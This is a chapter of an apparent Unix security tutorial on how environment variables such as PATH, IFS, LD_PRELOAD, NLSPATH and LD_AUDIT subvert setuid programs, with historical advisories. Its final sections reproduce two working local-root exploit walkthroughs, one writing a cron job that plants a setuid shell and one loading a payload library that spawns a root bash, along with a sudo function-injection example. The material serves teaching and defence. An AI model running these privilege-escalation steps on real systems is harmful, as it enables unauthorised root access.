Next Previous Contents

8. Environment variables

On a Unix system an environment is maintained. The environment of a program is an array of strings of the form "name=value". It may give data like the home directory of the present user (HOME) or her login name (USER or LOGNAME) or the language she would like to see messages in (LANG) or the default printer to be used (PRINTER or LPDEST) or the local time zone (TZ) etc. etc.

This environment is completely under user control: simple shell commands (like setenv) or C library routines (like putenv()) or direct C code can be used to modify it.

Many programs can be subverted by suitable environment settings.

8.1 Buffer overflow

Programs that read some environment variable into an array of fixed size without bounds checking can be cracked by supplying very long values. (For details on how to do this, see the section Smashing The Stack below.)

For example, on numerous Unix systems the rlogin program is vulnerable to a buffer overflow caused by overly long TERM. A 1997 advisory. An IRIX exploit.

Another example is this SunOS 5.7 exploit from 1999. (A buffer overflow caused by overly long LC_MESSAGES.)

Or this AIX exploit from 2000. (Again LC_MESSAGES.)

Another example is this SunOS 5.7 exploit from 2001. (A buffer overflow caused by overly long MAIL.)

Another example is this Solaris 8.0 exploit from 2001. (A buffer overflow caused by overly long HOME.) Or this Irix 6.5 exploit from 2003. (A local root exploit - it still works on all Irix machines I have access to.)

Another example is the recent exploit (for many Unix-like systems like SCO, Sun, HP) of the libDTHelp library of the Common Desktop Environment (Nov. 2003) allowing local root compromise. Lots of systems are still vulnerable. (A buffer overflow caused by overly long DTHELPUSERSEARCHPATH.)

Another example is the 2003 Solaris exploit of a buffer overflow caused by an overly long LD_PRELOAD.

Another example is the 2005 SCO Open Server exploit of a buffer overflow caused by an overly long HOME.

There are hundreds of examples.

The tiny utility sharefuzz (that hooks the getenv() library call and makes it return very long strings) can be used to quickly search for examples of such vulnerabilities. Segfaults are often indications of a buffer overflow.

8.2 HOME

Naive programs that want to write a file in the user's home directory can be tricked to write elsewhere by setting $HOME.

Naive programs that expect all binaries and configuration files to live somewhere under $FOOBAR_HOME, can be made to execute different binaries or read different configuration files. This is especially useful in case of setuid binaries.

For example, this 2001 alert warns about the possibility that an attacker can modify the ORACLE_HOME environment variable, and via the setuid dbsnmp achieve the privileges of the oracle account. (Immediately afterwards it was discovered that there also is an exploitable buffer overflow there.)

8.3 LD_LIBRARY_PATH

Environment variables like LD_LIBRARY_PATH and LD_PRELOAD influence the behaviour of the dynamic loader/linker. Using them one can replace parts of the C library by custom versions. Systems where these are honoured for setuid root binaries are toast.

8.4 LD_DEBUG

The environment variable LD_DEBUG can be used to debug the dynamic loader/linker. It generates some output for each program that is loaded. (Try LD_DEBUG=all ls -l /.) This can be used to slow down programs when that is needed to exploit a race condition.

8.5 PATH

The environment variable PATH gives the list of directories (like /home/aeb/bin:/bin:/usr/bin:...) that will be searched for a command given. If one can change it and put /attacker/bin in front, the command may do surprising things.

Long ago it was normal to have a PATH that started with ., the current directory. But that means that just doing an ls in a random directory may be dangerous - one might get the attacker's version of ls.

The value of PATH is used by the C library routines execlp(3), execvp(3), popen(3) and system(3) to find utilities to invoke. Thus, any program that uses one of these functions is potentially vulnerable.

8.6 NLSPATH

The environment variable NLSPATH gives a list of pathnames that catopen() will consult searching for localized message catalogs. Numerous systems have had vulnerabilities associated with this environment variable. Since usually all system software is designed to give localized messages, a problem here affects all setuid root binaries on the system. Most recently (Nov 2002) HP-UX was found to have a buffer overflow, with patches released Nov 2003. Many systems are still vulnerable. Here an exploit - sorry, a test to see whether your system is vulnerable.

8.7 IFS

A famous case is that of the IFS variable used by sh, the shell (command interpreter). It gives the internal field separators, the characters like space, tab and newline that separate words in a shell command. It is useful to be able to set it. For example, one often temporarily adds the colon character in order to do something for all directories in the user's PATH. But this power is very useful to an attacker.

The C library call system() can be used to execute a system command from a C program. It calls sh with the given string as argument. For example, if one wants to send mail from a program, one might write

        system("mail");
and sh -c mail would be executed.

If a setuid root program would do this, it would be tricked immediately: the attacker would put his own executable mail in some directory, put that directory in front of the PATH and system() would invoke the attacker's executable. OK. So one must be careful and give the full pathname. (Unfortunate - is it /bin/mail or /usr/bin/mail or something else?)

        system("/bin/mail");
Code like this was used for a while until a creative person thought of adding the slash character / to IFS. Then / is treated like a space, so that this becomes the command bin mail. We are in business again - this time a custom executable called bin will do the trick.

Remains to find a setuid root executable that sends mail. (Or, more precisely, that invokes system().) And such executables are (were) easy to find. I have used this on a few occasions with the executable expreserve that sends users mail after a system crash about saved copies of their temporary editing files that they may get back using virecover. This hole was discovered around 1985.

Here an exploit (using IFS to trick rdist) from 1991.

Here an exploit (using IFS to trick rmail on AIX) from 1994.

Here an exploit (using IFS to trick sendmail on SunOS 4.1.4) from 1995.

The hole was fixed on most systems, but variations on this theme - tricks to influence the way the shell interprets a given command string - continue to be found.

8.8 Misleading trusting programs

In 2004 it was discovered that cdrecord (which often is installed setuid root) fails to drop privileges when calling $RSH to access a remote device. A local root.

In 2004 it was discovered that sudo (which is often installed in such a way that local users can do a limited list of things) could be subverted by putting suitable variables in the environment, in case sudo was used to run a bash script:

% cat xls
#!/bin/sh
ls
% export ls="() { date; }"
% sudo ./xls
Wed Jan 19 23:23:45 CET 2005

In 2005 it was discovered (see 1, 2, 3) that perl, when executing a setuid-root perl, would overwrite the file pointed to by the PERLIO_DEBUG environment variable. If that variable is long, then there is also a local root exploit by buffer overflow. There is also a different buffer overflow there.

8.9 system() and popen()

The function system() is dangerous and should not be used in programs intended to be secure. And for popen() precisely the same holds. It also invokes sh -c and can be defeated using the same tricks.

Above we discussed setting IFS. Another popular approach is the use of special characters. A pathname can contain arbitrary characters (except NUL). But lots of characters have a special meaning to sh. Embed a semicolon or vertical bar or exclamation mark or newline or escape sequence in a filename and get surprising results.

(This is a very old trick, but uses come up repeatedly. Linux modutils vulnerability (2000). A report from 2001. And one from 2002 for the SCO X server in Unixware 7.1.1 and Open Unix 8.0.0. An IRIX remote root exploit (2002). )

8.10 Setuid binaries

As a security measure, the glibc library will return NULL for certain environment variables that influence the semantics of certain libc functions, when used from a setuid binary. For glibc 2.2.5-2.3.2 the list is LD_AOUT_LIBRARY_PATH, LD_AOUT_PRELOAD, LD_LIBRARY_PATH, LD_PRELOAD, LD_ORIGIN_PATH, LD_DEBUG_OUTPUT, LD_PROFILE, GCONV_PATH, HOSTALIASES, LOCALDOMAIN, LOCPATH, MALLOC_TRACE, NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS, TMPDIR, TZDIR. Glibc 2.3.3 adds LD_USE_LOAD_BIAS. Glibc 2.3.4 adds LD_DEBUG, LD_DYNAMIC_WEAK, LD_SHOW_AUXV, GETCONF_DIR. (Pity! LD_DEBUG was so useful in winning races. But the idea of throttling error message output via a pipe is still useful.) Glibc 2.4 adds LD_AUDIT. Glibc 2.5.1 adds NIS_PATH. Also MALLOC_CHECK_ is removed, unless /etc/suid-debug exists.

Failure to sanitize

Stealth and kingcope discovered a 2009 local root exploit in FreeBSD, where things like unsetenv("LD_PRELOAD") are done for setuid binaries, but the unsetenv() can fail if the environment is not well-formed, so that any setuid binary can be preloaded with arbitrary code.

Trusted library path

Tavis Ormandy found two 2010 local root exploits involving LD_AUDIT, one via $ORIGIN and one via LD_AUDIT library constructors.

The second one uses the LD_AUDIT environment variable to specify libraries for a setuid binary to use. Glibc is smart enough to only allow library names without /, that is, libraries found on the trusted library path (e.g. /lib, /usr/lib), but some of these libraries have constructors that run at load time and are not safe for suid use. It does not matter that such a library errors out because it fails to provide the audit API: the constructor has run already. The exploit (using another environment variable PCPROFILE_OUTPUT to tell the unsafe library where to write):

The exact steps required to exploit this vulnerability will vary from
distribution to distribution, but an example from Ubuntu 10.04 is given below.

# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0

# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

# A setuid root shell appears.
$ /tmp/exploit
# whoami
root

The first exploit uses the fact that glibc fails to ignore $ORIGIN (not an environment variable but a tag in the ELF executable) when loading suid binaries. From ld.so(8):

       $ORIGIN
              ld.so  understands  the  string  $ORIGIN (or equivalently ${ORIGIN}) in an
              rpath specification to mean the directory containing the application  exe-
              cutable.  Thus,  an  application  located in somedir/app could be compiled
              with gcc -Wl,-rpath,'$ORIGIN/../lib' so that it finds an associated shared
              library in somedir/lib no matter where somedir is located in the directory
              hierarchy.
Now the directory containing an executable can be manipulated by creating a hardlink. And thus:
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit

# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target

# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target

# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# Remove the directory previously created
$ rm -rf /tmp/exploit/

# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

When the cyber-security company HB Gary Federal announced that they had investigated individuals associated with Anonymous, that group hit back, broke the security of all HB Gary sites, copied the source code and published all emails. The attack used SQL Injection, then Social Engineering, and finally the above $ORIGIN expansion vulnerability. ( techherald report, 7 Feb 2011)


Next Previous Contents